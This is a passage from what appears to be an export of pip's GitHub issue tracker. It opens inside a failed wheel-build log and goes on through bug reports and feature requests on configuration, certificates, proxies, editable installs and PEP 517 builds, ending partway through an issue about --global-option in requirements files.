  copying build/lib/homeassistant_cli/plugins/area.py -> build/bdist.macosx-10.14-x86_64/wheel/homeassistant_cli/plugins
  copying build/lib/homeassistant_cli/hassconst.py -> build/bdist.macosx-10.14-x86_64/wheel/homeassistant_cli
  copying build/lib/homeassistant_cli/__init__.py -> build/bdist.macosx-10.14-x86_64/wheel/homeassistant_cli
  copying build/lib/homeassistant_cli/yaml.py -> build/bdist.macosx-10.14-x86_64/wheel/homeassistant_cli
  copying build/lib/homeassistant_cli/autocompletion.py -> build/bdist.macosx-10.14-x86_64/wheel/homeassistant_cli
  copying build/lib/homeassistant_cli/cli.py -> build/bdist.macosx-10.14-x86_64/wheel/homeassistant_cli
  copying build/lib/homeassistant_cli/helper.py -> build/bdist.macosx-10.14-x86_64/wheel/homeassistant_cli
  copying build/lib/homeassistant_cli/exceptions.py -> build/bdist.macosx-10.14-x86_64/wheel/homeassistant_cli
  copying build/lib/homeassistant_cli/const.py -> build/bdist.macosx-10.14-x86_64/wheel/homeassistant_cli
  running install_egg_info
  Copying homeassistant_cli.egg-info to build/bdist.macosx-10.14-x86_64/wheel/homeassistant_cli-0.5.0.dev0-py3.7.egg-info
  running install_scripts
  creating build/bdist.macosx-10.14-x86_64/wheel/homeassistant_cli-0.5.0.dev0.dist-info/WHEEL
  creating 'dist/homeassistant_cli-0.5.0.dev0-py3-none-any.whl' and adding 'build/bdist.macosx-10.14-x86_64/wheel' to it
  adding 'homeassistant_cli/.DS_Store'
  adding 'homeassistant_cli/__init__.py'
  adding 'homeassistant_cli/autocompletion.py'
  adding 'homeassistant_cli/cli.py'
  adding 'homeassistant_cli/config.py'
  adding 'homeassistant_cli/const.py'
  adding 'homeassistant_cli/exceptions.py'
  adding 'homeassistant_cli/hassconst.py'
  adding 'homeassistant_cli/helper.py'
  adding 'homeassistant_cli/package_constraints.txt'
  adding 'homeassistant_cli/remote.py'
  adding 'homeassistant_cli/yaml.py'
  adding 'homeassistant_cli/plugins/area.py'
  adding 'homeassistant_cli/plugins/completion.py'
  adding 'homeassistant_cli/plugins/config.py'
  adding 'homeassistant_cli/plugins/device.py'
  adding 'homeassistant_cli/plugins/discover.py'
  adding 'homeassistant_cli/plugins/entity.py'
  adding 'homeassistant_cli/plugins/event.py'
  adding 'homeassistant_cli/plugins/info.py'
  adding 'homeassistant_cli/plugins/map.py'
  adding 'homeassistant_cli/plugins/raw.py'
  adding 'homeassistant_cli/plugins/service.py'
  adding 'homeassistant_cli/plugins/system.py'
  adding 'homeassistant_cli/plugins/template.py'
  adding 'homeassistant_cli-0.5.0.dev0.dist-info/LICENSE.md'
  adding 'homeassistant_cli-0.5.0.dev0.dist-info/METADATA'
  adding 'homeassistant_cli-0.5.0.dev0.dist-info/WHEEL'
  adding 'homeassistant_cli-0.5.0.dev0.dist-info/entry_points.txt'
  adding 'homeassistant_cli-0.5.0.dev0.dist-info/top_level.txt'
  adding 'homeassistant_cli-0.5.0.dev0.dist-info/RECORD'
  removing build/bdist.macosx-10.14-x86_64/wheel
  Traceback (most recent call last):
    File "/Users/max/code/home-assistant-cli/.tox/typing/lib/python3.7/site-packages/pip/_vendor/pep517/_in_process.py", line 207, in <module>
      main()
    File "/Users/max/code/home-assistant-cli/.tox/typing/lib/python3.7/site-packages/pip/_vendor/pep517/_in_process.py", line 197, in main
      json_out['return_val'] = hook(**hook_input['kwargs'])
    File "/Users/max/code/home-assistant-cli/.tox/typing/lib/python3.7/site-packages/pip/_vendor/pep517/_in_process.py", line 141, in build_wheel
      metadata_directory)
    File "/private/tmp/pip-build-env-mgq8amp4/overlay/lib/python3.7/site-packages/setuptools/build_meta.py", line 178, in build_wheel
      return _file_with_extension(wheel_directory, '.whl')
    File "/private/tmp/pip-build-env-mgq8amp4/overlay/lib/python3.7/site-packages/setuptools/build_meta.py", line 94, in _file_with_extension
      file, = matching
  ValueError: too many values to unpack (expected 1)

  ----------------------------------------
  Failed building wheel for homeassistant-cli
  Running setup.py clean for homeassistant-cli
Failed to build homeassistant-cli
Could not build wheels for {} which use PEP 517 and cannot be installed directly

ERROR: could not install deps [-r/Users/max/code/home-assistant-cli/requirements_test_all.txt]; v = InvocationError('/usr/bin/env LANG=C.UTF-8 pip install -r/Users/max/code/home-assistant-cli/requirements_test_all.txt (see /Users/max/code/home-assistant-cli/.tox/typing/log/typing-1.log)', 1)
_________________________________________________________________________________________________________ summary __________________________________________________________________________________________________________
ERROR:   typing: could not install deps [-r/Users/max/code/home-assistant-cli/requirements_test_all.txt]; v = InvocationError('/usr/bin/env LANG=C.UTF-8 pip install -r/Users/max/code/home-assistant-cli/requirements_test_all.txt (see /Users/max/code/home-assistant-cli/.tox/typing/log/typing-1.log)', 1)
```


user: maxandersen
labels: type: bug: A confirmed bug or unintended behavior
C: PEP 517 impact: Affected by PEP 517 processing
UX: User experience related
C: error messages: Improving error messages
issue_6235: state: open
title: Fix flaky tests involving scripttest's result.files_updated
body: > Looks like it's failed a few times on `test_force_reinstall_with_same_version_specifier()`, and only on the Python 2.7 job.

This is what the intermittent failure looks like:

```
assert result2.files_updated, 'force-reinstall failed'
AssertionError: force-reinstall failed
assert {}
 +  where {} = <tests.lib.TestPipResult object at 0x10913cb90>.files_updated
```

My guess is that this is an issue with the [`scripttest`](https://github.com/pypa/scripttest) library when running on Mac, specifically with how equality is computed with the `files_updated` dict:

https://github.com/pypa/scripttest/blob/01c7db96ff01de034bd7781a4ed28d74eb716d32/scripttest.py#L391-L394

You can even see that someone filed a similar issue four years ago in pip's tracker: https://github.com/pypa/pip/issues/2580

Someone should probably file an issue in scripttest's tracker.

_Originally posted by @cjerdonek in https://github.com/pypa/pip/issues/6043#issuecomment-459948051_
user: cjerdonek
labels: C: tests: Testing and related things
issue_6221: state: open
title: pip is growing a lot of configuration settings/settings
body: _Originally posted by @pfmoore in https://github.com/pypa/pip/issues/6213#issuecomment-458476226_

> On a broader note, I'm concerned about how many configuration settings pip is growing - we're already seeing problems from unexpected interactions between options that we'd never considered, so I'd prefer caution when adding more, [snip]

I share some of this concern. Filing a new issue for dedicated discussion if we find time.
user: pradyunsg
labels: C: configuration: Configuration management and loading
state: needs discussion: This needs some more discussion
UX: User experience related
UX: functionality research epic: Temporary label to link tickets to #8516
issue_6198: state: open
title: Handling RECORD files with invalid entries
body: Let's remember to perhaps create a new issue regarding how to handle invalid RECORD lines like this (if there isn't already an issue). (It's a somewhat similar discussion to https://github.com/pypa/pip/issues/5913, regarding a different way in which RECORD files can be problematic.)

_Originally posted by @cjerdonek in https://github.com/pypa/pip/pull/6191#issuecomment-457341727_
user: pradyunsg
labels: state: needs discussion: This needs some more discussion
issue_6188: state: open
title: Add option to use the indent_with_timestamp formatter for console log
body: **What's the problem this feature will solve?**
Currently, I'm using the `ts` utility from `moreutils` to prepend a timestamp to every line of pip's output.
This makes running pip more fragile (if `ts` exits for some reason, pip will fail with a Broken Pipe error).

**Describe the solution you'd like**
since pip already has a timestamp formatter for its log file, it would be more convenient to allow using it for the console too: maybe with a new command line flag (e.g. `--prepend-timestamps`).

**Alternative Solutions**
`ts` utility mentioned above: `pip install ... | ts`

user: dorfire
labels: C: logging: Information Logging
type: feature request: Request for a new feature
C: cli: Command line interface related things (optparse, option grouping etc)
issue_6183: state: open
title: --cert option not working for editable requirements
body: **Environment**

* pip version: 18.1
* Python version: 3.6.5

**Description**
pip ignores the `--cert` option for editable requirements:
 
```
> # This does work:
> pip install --cert /path/to/bundle.crt git+https://domain/user/repo.git@master#egg=repo
> # This does not work:
> pip install --cert /path/to/bundle.crt -e git+https://domain/user/repo.git@master#egg=repo
```

The cert bundle is uses in the PipSession (https://github.com/pypa/pip/blob/18.1/src/pip/_internal/cli/base_command.py#L84) but the session is not used for editable requirements (https://github.com/pypa/pip/blob/18.1/src/pip/_internal/operations/prepare.py#L305)
user: weddige
labels: type: bug: A confirmed bug or unintended behavior
issue_6179: state: open
title: Credential prompt after --extra-index-url redirects not allowed by requests
body: **Environment**

* pip version: 19.0
* Python version: 3.6
* OS: Debian 8.11

**Description**

We have a private PyPI running, which has basic auth protection. The CI user has a `~/.config/pip/pip.conf` file containing the `--extra-index-url` option with username & password in the URL for basic auth.

Since pip 19.0, there is a prompt for the username and password for this index URL, which wasn't the case with 18.1. In a CI context where we cannot provide input, this is of course not convenient.

**Expected behavior**
PIP/requests should use the credentials found in the URL in the `pip.conf` and not prompt for them.

**How to Reproduce**

1. Have a private PyPI
2. Configure this with basic auth username/password in the URL in `pip.conf`
3. `pip install some-package` - where some-package lives in the private PyPI

**Output**, from our CI

```
$ pip install -r requirements/jenkins.txt
User for <redacted>: Exception:
Traceback (most recent call last):
  File "/var/lib/jenkins/workspace/ispnext-backend-develop/backend/env/lib/python3.6/site-packages/pip/_internal/cli/base_command.py", line 176, in main
    status = self.run(options, args)
  File "/var/lib/jenkins/workspace/ispnext-backend-develop/backend/env/lib/python3.6/site-packages/pip/_internal/commands/install.py", line 315, in run
    resolver.resolve(requirement_set)
  File "/var/lib/jenkins/workspace/ispnext-backend-develop/backend/env/lib/python3.6/site-packages/pip/_internal/resolve.py", line 131, in resolve
    self._resolve_one(requirement_set, req)
  File "/var/lib/jenkins/workspace/ispnext-backend-develop/backend/env/lib/python3.6/site-packages/pip/_internal/resolve.py", line 294, in _resolve_one
    abstract_dist = self._get_abstract_dist_for(req_to_install)
  File "/var/lib/jenkins/workspace/ispnext-backend-develop/backend/env/lib/python3.6/site-packages/pip/_internal/resolve.py", line 242, in _get_abstract_dist_for
    self.require_hashes
  File "/var/lib/jenkins/workspace/ispnext-backend-develop/backend/env/lib/python3.6/site-packages/pip/_internal/operations/prepare.py", line 269, in prepare_linked_requirement
    req.populate_link(finder, upgrade_allowed, require_hashes)
  File "/var/lib/jenkins/workspace/ispnext-backend-develop/backend/env/lib/python3.6/site-packages/pip/_internal/req/req_install.py", line 196, in populate_link
    self.link = finder.find_requirement(self, upgrade)
  File "/var/lib/jenkins/workspace/ispnext-backend-develop/backend/env/lib/python3.6/site-packages/pip/_internal/index.py", line 639, in find_requirement
    all_candidates = self.find_all_candidates(req.name)
  File "/var/lib/jenkins/workspace/ispnext-backend-develop/backend/env/lib/python3.6/site-packages/pip/_internal/index.py", line 610, in find_all_candidates
    for page in self._get_pages(url_locations, project_name):
  File "/var/lib/jenkins/workspace/ispnext-backend-develop/backend/env/lib/python3.6/site-packages/pip/_internal/index.py", line 743, in _get_pages
    page = _get_html_page(location, session=self.session)
  File "/var/lib/jenkins/workspace/ispnext-backend-develop/backend/env/lib/python3.6/site-packages/pip/_internal/index.py", line 229, in _get_html_page
    resp = _get_html_response(url, session=session)
  File "/var/lib/jenkins/workspace/ispnext-backend-develop/backend/env/lib/python3.6/site-packages/pip/_internal/index.py", line 177, in _get_html_response
    "Cache-Control": "max-age=0",
  File "/var/lib/jenkins/workspace/ispnext-backend-develop/backend/env/lib/python3.6/site-packages/pip/_vendor/requests/sessions.py", line 546, in get
    return self.request('GET', url, **kwargs)
  File "/var/lib/jenkins/workspace/ispnext-backend-develop/backend/env/lib/python3.6/site-packages/pip/_internal/download.py", line 403, in request
    return super(PipSession, self).request(method, url, *args, **kwargs)
  File "/var/lib/jenkins/workspace/ispnext-backend-develop/backend/env/lib/python3.6/site-packages/pip/_vendor/requests/sessions.py", line 533, in request
    resp = self.send(prep, **send_kwargs)
  File "/var/lib/jenkins/workspace/ispnext-backend-develop/backend/env/lib/python3.6/site-packages/pip/_vendor/requests/sessions.py", line 668, in send
    history = [resp for resp in gen] if allow_redirects else []
  File "/var/lib/jenkins/workspace/ispnext-backend-develop/backend/env/lib/python3.6/site-packages/pip/_vendor/requests/sessions.py", line 668, in <listcomp>
    history = [resp for resp in gen] if allow_redirects else []
  File "/var/lib/jenkins/workspace/ispnext-backend-develop/backend/env/lib/python3.6/site-packages/pip/_vendor/requests/sessions.py", line 247, in resolve_redirects
    **adapter_kwargs
  File "/var/lib/jenkins/workspace/ispnext-backend-develop/backend/env/lib/python3.6/site-packages/pip/_vendor/requests/sessions.py", line 653, in send
    r = dispatch_hook('response', hooks, r, **kwargs)
  File "/var/lib/jenkins/workspace/ispnext-backend-develop/backend/env/lib/python3.6/site-packages/pip/_vendor/requests/hooks.py", line 31, in dispatch_hook
    _hook_data = hook(hook_data, **kwargs)
  File "/var/lib/jenkins/workspace/ispnext-backend-develop/backend/env/lib/python3.6/site-packages/pip/_internal/download.py", line 197, in handle_401
    username = six.moves.input("User for %s: " % parsed.netloc)
```

user: sergei-maertens
labels: type: enhancement: Improvements to functionality
C: logging: Information Logging
issue_6132: state: open
title: Ignore leading BOM in pip configuration files
body: In the event that the pip configuration file leads with a Unicode BOM, ignore that sequence. Currently, if you try to create a pip.ini file from PowerShell, then pip is unable to process the resulting file due to the presence of the BOM.
user: mcandre
labels: type: enhancement: Improvements to functionality
OS: windows: Windows specific
C: configuration: Configuration management and loading
C: encoding: Related to text encoding and likely, UnicodeErrors
issue_6131: state: open
title: Option `index-url = ` for specific commands doesn't set index-url to PyPI
body: * Pip version: 18.1 (and others, see below)
* Python version: 3.7.2 (and others, see below)
* Operating system: Windows 7 (and others, see below)

In the `[global]` section of my `pip.ini` I set index-url to a non-standard value. In the sections for some commands (`[download]`, `[list]`, `[search]`) I use `index-url =` to reset the index-url for these commands to the standard value (PyPI). Since the last update of my python environment that doesn't work anymore: 

* `pip download` tries to access the non-standard index-url given in the `[global]` section, not PyPI. The same is true for the version check of pip at the end of the command execution.
* `pip list` tries to access the non-standard index-url given in the `[global]` section, not PyPI, for the version check of pip at the end of the command execution.
* Strangely, `pip search` works as expected.

I can reproduce this new and unexpected behaviour with   

* pip 18.1 - Python 3.7.2 - Windows 7    
* pip 10.0.1 - Python 3.7.1 - Windows 10    
* pip 18.1 - Python 3.6.4 - Windows 7

Everything used to work and still works as expected for      

* pip 9.0.1 - Python 3.6.4 - Windows 7    
* pip 9.0.3 - Python 2.7.15 - Windows 7

All five configurations mentioned use the same `pip.ini`.

I had a look at the release notes of pip 10 and a few of the issues mentioned there. I couldn't find anything that indicates that the change of behaviour is intended.   
I also searched the issues for "index-url =", but none of the search results seems to be about the problem I encounter.

Here are some details / examples (pip 18.1, Python 3.7.2, Windows 7):

    C:\>py -m pip config list
    download.dest='E:\\zuInst.pip\\download'
    download.index-url=''
    download.no-index='false'
    global.index-url='-'
    global.log='E:\\zuInst.pip\\pip.log'
    global.no-cache-dir='false'
    global.no-index='true'
    install.find-links='\nE:\\zuInst-erl\\PyPIP\nE:\\zuInst.pip\\wheel'
    install.only-binary=':all:'
    install.upgrade-strategy='only-if-needed'
    list.find-links='\nE:\\zuInst-erl\\PyPIP'
    list.format='columns'
    list.index-url=''
    list.no-index='false'
    search.find-links='\nE:\\zuInst-erl\\PyPIP'
    search.index-url=''
    search.no-index='false'
    wheel.find-links='\nE:\\zuInst.pip\\download'
    wheel.wheel-dir='E:\\zuInst.pip\\wheel'
    
    C:\>py -m pip download wheel
    Looking in indexes: -
    Collecting wheel
      Url '-/wheel/' is ignored. It is either a non-existing path or lacks a specific scheme.
      Could not find a version that satisfies the requirement wheel (from versions:)
    No matching distribution found for wheel
    Url '-/pip/' is ignored. It is either a non-existing path or lacks a specific scheme.
    
    C:\>py -m pip list
    Package    Version
    ---------- ----------
    numpy      1.15.4+mkl
    Pillow     5.4.1
    pip        18.1
    pywin32    224
    scipy      1.2.0
    setuptools 40.6.2
    Url '-/pip/' is ignored. It is either a non-existing path or lacks a specific scheme.

Here in contrast a version that works (pip 9.0.3, Python 2.7.15, Windows 7, same `pip.ini` as above):

    C:\>py -2 -m pip download wheel
    Collecting wheel
      Downloading https://files.pythonhosted.org/packages/ff/47/1dfa4795e24fd6f93d5d58602dd716c3f101cfd5a77cd9acbe519b44a0a9/wheel-0.32.3-py2.py3-none-any.whl
      Saved e:\zuinst.pip\download\wheel-0.32.3-py2.py3-none-any.whl
    Successfully downloaded wheel
    You are using pip version 9.0.3, however version 18.1 is available.
    You should consider upgrading via the 'python -m pip install --upgrade pip' command.
    
    C:\>py -2 -m pip list
    Package    Version
    ---------- -------
    ipython    0.13
    numpy      1.9.2
    oletools   0.50
    PIL        1.1.7
    pip        9.0.3
    py2exe     0.6.9
    pyreadline 2.1
    pywin32    224
    setuptools 39.0.1
    wheel      0.29.0
    You are using pip version 9.0.3, however version 18.1 is available.
    You should consider upgrading via the 'python -m pip install --upgrade pip' command.
user: RagBlufThim
labels: C: configuration: Configuration management and loading
C: finder: PackageFinder and index related code
issue_6119: state: open
title: Add ids (and classes?) to logged messages, to simplify filtering (and explaining?)
body: **What's the problem this feature will solve?**
pip is slowly getting more and more "no-warn" flags for various error messages that the user might want to silence and there are existing messages that do not have any way to silence them. It would be a good idea to simplify pip's CLI by coming up with a scalable solution to this and removing those flags.

**Describe the solution you'd like**
Associate string(s?) with logged messages and provide a CLI flag to allow filtering / disabling messages like `--ignore-messages script-location,ssl` (whatever name we land on).

Expanding on that idea, inspired by `rustc --explain <code>`, we could even extend that to provide explanations along with pip's error messages that can possibly go on to discuss why things are the way they are and possibly suggestions on how to fix them. This could take the form of `pip help --explain <code>` (I like this interface but it changes what pip help does; we can colour the bike shed later).

**Alternative Solutions**
None that I have explored personally.

**Additional context**
@cjerdonek came up with this idea and mentioned this somewhere in this issue tracker -- I can't find it now.

user: pradyunsg
labels: type: feature request: Request for a new feature
UX: User experience related
issue_6115: state: open
title: A command to install all the dependencies of the package without installing and building the package itself
body: **What's the problem this feature will solve?**
Caching dependencies on CI without listing the dependencies manually and without using these obsolete `requirements.txt`.


In order to do it I have moved installation of the dependencies into a separate stage, which results (dir with packages installed) are cached (because failed build results are jot cached).

But the package itself may be in unworkable and unbuildable state at that stage, and the stage must pass, because it is only about building and installation of dependencies, which takes long.

**Describe the solution**

So we need a separate command to `pip` and API to `setuptools`, which doesn't build a package, but just installs/lists its dependencies.

In order not to run `setup.py` (it may be broken) the feature should install only the stuff mentioned in `setup.cfg`.

**Alternative Solutions**
`pyproject.toml`, but it is not yet standardized. But `setuptools` is the de-facto standard.


user: KOLANICH
labels: state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
issue_6112: state: open
title: Requirements file which contains `-e` with a relative local path, is only installable from a specific directory
body: **Environment**

* pip version: 18.1
* Python version: 2.7.14
* OS: Windows (but I don't think it's restricted to a specific platform)


**Description**
I would like to be able to call `pip install -r path/to/requirements.txt` from any directory. However usage of `--editable`/`-e`  with a relative path inside of a requirements.txt assume that the path is relative the current directory I'm currently in, rather than the directory where the file is located.

My specific use case, involve usage of multiple independent requirements.txt in a directory hierarchy where they can reference each other. And seems to exhibit the same issue.

**Expected behavior**
Expected behavior would be to not require being in a specific directory in order to call `pip install -r path/to/requirements.txt` when `--editable`/`-e` is being used with relative local path.

**How to Reproduce**
```
#! /bin/bash

mkdir dir/
echo '-e .' > dir/requirements.txt
cat - > dir/setup.py <<EOF
from distutils.core import setup, Extension
setup(name='foo', version='1.0')
EOF

pip install -r dir/requirements.txt # FAIL

cd dir
pip install -r requirements.txt # PASS
```

**Output**

```
Directory '.' is not installable. File 'setup.py' not found.
Obtaining file:///C:/project/repro_github/pip_change_dir_r/dir (from -r requirements.txt (line 1))
Installing collected packages: foo
  Found existing installation: foo 1.0
    Uninstalling foo-1.0:
      Successfully uninstalled foo-1.0
  Running setup.py develop for foo
Successfully installed foo
```

**Potential solution**
I assume that `pip` is missing a chdir when the requirements is being interpreted. And doing so would fix all mentioned issue.
Would there be a reason that prevent us to do that?

user: Thiel
labels: state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
C: requirement file: Using `requirements.txt`
issue_6110: state: open
title: Install pre-releases of specified phases
body: I would like the ability to install betas and release candidates, but ignore alphas. The `--pre` flag currently finds and installs any kind of pre-releases. For instance, this could be specified like `--pre-phase b` or `--pre-phase rc`, following [naming conventions in PEP 440](https://www.python.org/dev/peps/pep-0440/#pre-releases).

Use case: for testing Jupyter, the CI installs dependencies with the `--pre` flag, so that we're alerted to problems before those dependencies do a final release. However, when a package we depend on has just released alpha 1 of a major new version, there's a good chance that failures are noise, not useful information. With the new option, we would be able to test against betas and RCs without worrying about alphas.
user: takluyver
labels: type: feature request: Request for a new feature
issue_6107: state: open
title: pip silently ignores invalid values on proxy parameters
body: **Environment**

* pip version: 18.1
* Python version: py27
* OS: MacOS 10.14

<!-- Feel free to add more information about your environment here -->

**Description**
It seems that invalid values given to --proxy have no effects.

**Expected behavior**
If an invalid proxy value is mentioned pip must fail as we do not want to hide failure to use the mentioned proxy.

**How to Reproduce**

```
pip search --proxy fooxxx pip
```

Another example:
```
$ pip install --proxy fooxxx -U -v pip                                                                                                                                [18:07:11]
Created temporary directory: /private/var/folders/3q/pc1jcyjj3qqbj6_x7n4kbtqw0000gn/T/pip-ephem-wheel-cache-iWIGav
Created temporary directory: /private/var/folders/3q/pc1jcyjj3qqbj6_x7n4kbtqw0000gn/T/pip-req-tracker-G0zflH
Created requirements tracker '/private/var/folders/3q/pc1jcyjj3qqbj6_x7n4kbtqw0000gn/T/pip-req-tracker-G0zflH'
Created temporary directory: /private/var/folders/3q/pc1jcyjj3qqbj6_x7n4kbtqw0000gn/T/pip-install-YVPJt9
1 location(s) to search for versions of pip:
* https://pypi.org/simple/pip/
Getting page https://pypi.org/simple/pip/
Looking up "https://pypi.org/simple/pip/" in the cache
Request header has "max_age" as 0, cache bypassed
Starting new HTTPS connection (1): pypi.org:443
https://pypi.org:443 "GET /simple/pip/ HTTP/1.1" 304 0
Analyzing links from page https://pypi.org/simple/pip/
```

Clearlywe should not have seen this succeeding as "fooxxx" does not resolve as a valid hostname, nor is a valid proxy URL.
user: ssbarnea
labels: type: enhancement: Improvements to functionality
C: proxy: Dealing with proxies and networking
UX: User experience related
C: error messages: Improving error messages
issue_6100: state: open
title: Installing poetry project results in get pip._vendor.pep517.wrappers.BackendUnavailable
body: **Environment**

* pip version: pip 19.0.dev0
* Python version: Python 3.7.0
* OS: mac

<!-- Feel free to add more information about your environment here -->

**Description**
<!-- A clear and concise description of what the bug is. -->
I have a pyproject.toml with
```
[build-system]
requires = ["poetry>=0.12"]
build-backend = "poetry.masonry.api"
```
I expected the pep 517 implementation to be able to handle pip installs of the source code.


**Expected behavior**
<!-- A clear and concise description of what you expected to happen. -->
Successfully install package using pyproject.toml to define a build system other than setup.py.


**How to Reproduce**
<!-- Describe the steps to reproduce this bug. -->

1. Clone latest pip, install to venv with pip install -e .
2. Then run `pip install -e .` or `pip install .` on a project without a setup.py
3. An error occurs.

**Output**
```
>> pip install -e .
Directory '.' is not installable. File 'setup.py' not found.
```

```
>> pip install .
Processing /Users/user/git/project
  Installing build dependencies ... done
  Getting requirements to build wheel ... done
Exception:
Traceback (most recent call last):
  File "/Users/user/git/pip/src/pip/_internal/cli/base_command.py", line 154, in main
    status = self.run(options, args)
  File "/Users/user/git/pip/src/pip/_internal/commands/install.py", line 315, in run
    resolver.resolve(requirement_set)
  File "/Users/user/git/pip/src/pip/_internal/resolve.py", line 131, in resolve
    self._resolve_one(requirement_set, req)
  File "/Users/user/git/pip/src/pip/_internal/resolve.py", line 294, in _resolve_one
    abstract_dist = self._get_abstract_dist_for(req_to_install)
  File "/Users/user/git/pip/src/pip/_internal/resolve.py", line 242, in _get_abstract_dist_for
    self.require_hashes
  File "/Users/user/git/pip/src/pip/_internal/operations/prepare.py", line 356, in prepare_linked_requirement
    abstract_dist.prep_for_dist(finder, self.build_isolation)
  File "/Users/user/git/pip/src/pip/_internal/operations/prepare.py", line 156, in prep_for_dist
    reqs = self.req.pep517_backend.get_requires_for_build_wheel()
  File "/Users/user/git/pip/src/pip/_vendor/pep517/wrappers.py", line 66, in get_requires_for_build_wheel
    'config_settings': config_settings
  File "/Users/user/git/pip/src/pip/_vendor/pep517/wrappers.py", line 155, in _call_hook
    raise BackendUnavailable
pip._vendor.pep517.wrappers.BackendUnavailable
```

poetry>=0.12 is installed:
```
>> pip freeze
attrs==18.2.0
CacheControl==0.12.5
cachy==0.2.0
certifi==2018.11.29
chardet==3.0.4
cleo==0.6.8
html5lib==1.0.1
idna==2.8
jsonschema==3.0.0a3
lockfile==0.12.2
msgpack==0.6.0
pastel==0.1.0
pkginfo==1.4.2
poetry==0.12.10
pylev==1.3.0
pyparsing==2.3.0
pyrsistent==0.14.8
requests==2.21.0
requests-toolbelt==0.8.0
shellingham==1.2.8
six==1.12.0
tomlkit==0.5.3
urllib3==1.24.1
webencodings==0.5.1
```
user: cs01
labels: type: support: User Support
state: needs discussion: This needs some more discussion
issue_6099: state: open
title: Review the usability of pip's command line API for calling from other processes
body: As the officially supported means of using pip from your program is via its command line interface, we should consider whether our command line API is "automation friendly" in this sense.

Specific things we should look at:

1. Allowing callers to suppress configuration set in the external environment (config files, environment variables). The `--user` flag is a common culprit here, as it doesn't interact well with certain other options like `--target`.
2. Allowing callers to explicitly pass through certain environment settings (such as proxy) but not others.

At the moment, we have `--isolated`, but that's a bit of a sledgehammer option, requiring users to replicate pip's option-handling logic if they want to respect some config (for example, network settings) but not others (for example, `--user`)

Note that this would also help pip itself, in its test suite and in places like build environment creation.

I'm just adding this as a reminder that we should consider this use case. It may be that there's nothing that we actually need to do (except possibly provide some more detailed recommendations on "how to call pip from your application").
user: pfmoore
labels: type: enhancement: Improvements to functionality
C: cli: Command line interface related things (optparse, option grouping etc)
UX: User experience related
issue_6084: state: open
title: No matching distribution found when same package is listed with different environment markers
body: ### Environment

* pip version: 18.1
* Python version: 3.7.1
* OS: Debian GNU/Linux 9 (stretch)

Details: https://github.com/docker-library/python/blob/39c500cc8aefcb67a76d518d789441ef85fc771f/3.7/stretch/Dockerfile


### Description
pip does not properly work when the same package is listed in a [requirements file](https://pip.pypa.io/en/stable/user_guide/#requirements-files) multiple times with different [environment markers](https://www.python.org/dev/peps/pep-0508/#environment-markers).


### How to Reproduce

1. Create file `requirements.txt`:

		mysqlclient ; sys_platform == 'linux'
		mysqlclient ; sys_platform == 'win32' --only-binary=mysqlclient

2. Create file `Dockerfile`:

		FROM python
		COPY ./requirements.txt ./
		RUN pip install -r requirements.txt

3. Build docker image:

		docker build .

		
### Output (actual behaviour)

	C:\bug>docker build .
	...
	Step 3/3 : RUN pip install -r requirements.txt
	 ---> Running in 8f67f72f26d0
	Ignoring mysqlclient: markers 'sys_platform == "win32"' don't match your environment
	Collecting mysqlclient (from -r requirements.txt (line 1))
	  Could not find a version that satisfies the requirement mysqlclient (from -r requirements.txt (line 1)) (from versions: )
	No matching distribution found for mysqlclient (from -r requirements.txt (line 1))
	The command '/bin/sh -c pip install -r requirements.txt' returned a non-zero code: 1

	
### Expected behavior
	
Package `mysqlclient` is successfully installed.

user: AndreyMZ
labels: state: needs discussion: This needs some more discussion
C: requirement file: Using `requirements.txt`
issue_6075: state: open
title: pip shouldn't install a dependency from a git repo if the dependency built from the same commit hash has been already installed
body: **What's the problem this feature will solve?**
```
pip3 install --user --upgrade git+https://gitlab.com/KOLANICH/Chassis.py.git#egg=Chassis
```
```
Successfully built Chassis
Installing collected packages: Chassis
Found existing installation: Chassis 0.1.dev1+g000ef60
Uninstalling Chassis-0.1.dev1+g000ef60:
Successfully uninstalled Chassis-0.1.dev1+g000ef60
Successfully installed Chassis-0.1.dev1+g000ef60
```

**Describe the solution you'd like**
1. check if package is already installed using `#egg=`
if it is
2. fetch the commit hash of the refspec from the remote repo
3. compare the hash to the one in stored metadata of the installed package (the full one)
4. if they mismatch, install
5. otherwise update is not needed, but can be forced by cli flags

user: KOLANICH
labels: C: vcs: pip's interaction with version control systems like git, svn and bzr
state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
issue_6052: state: open
title: Cleanup handling of installation schemes
body: Can be done as a part of #4575 


user: pradyunsg
labels: type: refactor: Refactoring code
C: user scheme: Handling of packages in user-specific directories
issue_6048: state: open
title: When there are multiple ".egg-info/", `pip install` possibly chooses wrong one.
body: **Environment**

* pip version: 18.1
* Python version: 3.7.1
* OS: macOS 10.13.6 (17G3025)

**Description**
When there are multiple directories with suffix ".egg-info", `pip install -e .` silently selects first directory in lexical order.

The selected one is not always correct ".egg-info". Then, it creates wrong package directories or does not install `install_requires`.

**Expected behavior**

- `pip install -e .` automatically selects correct ".egg-info".
- Otherwise, it logs warnings.

**How to Reproduce**

1. Create minimum pacakge:

```
# setup.py
from setuptools import setup, find_packages

setup(
    name='sample',
    version='0.0.1',
    packages=find_packages(),
)
```  

2. Run `pip install -e .` (It success)

3. `cp -R  ./sample.egg-info ./invalid.egg-info`. Then package directory's contents are as following.

```
$ ls -R
.:
invalid.egg-info  sample  sample.egg-info  setup.py

./invalid.egg-info:
PKG-INFO  SOURCES.txt  dependency_links.txt  top_level.txt

./sample:
__init__.py

./sample.egg-info:
PKG-INFO  SOURCES.txt  dependency_links.txt  top_level.txt
```

4. Modify `setup.py` (e.x. `version = '0.0.2'`)

5. Run `pip install -e .`. Then, `invalid.egg-info/` is read.

**Output**

```
Installing collected packages: invalid
```

user: doloopwhile
labels: type: enhancement: Improvements to functionality
state: awaiting PR: Feature discussed, PR is needed
issue_6047: state: open
title: --global-option in requirements.txt doesn't take an effect with pip wheel
body: **Environment**

* pip version: 18.1
* Python version: 3.7.0, 3.4.3
* OS: Windows 10, Linux

**Description**

If `--global-option` is written in requirements.txt (like `somepackage --global-option=clean`), then `pip wheel` won't pick up the option.

*Case no. 1: `--global-option=clean` via command line*

The `clean` is inserted before `bdist_wheel` successfully.

```
python -m pip -v wheel pip --global-option=clean

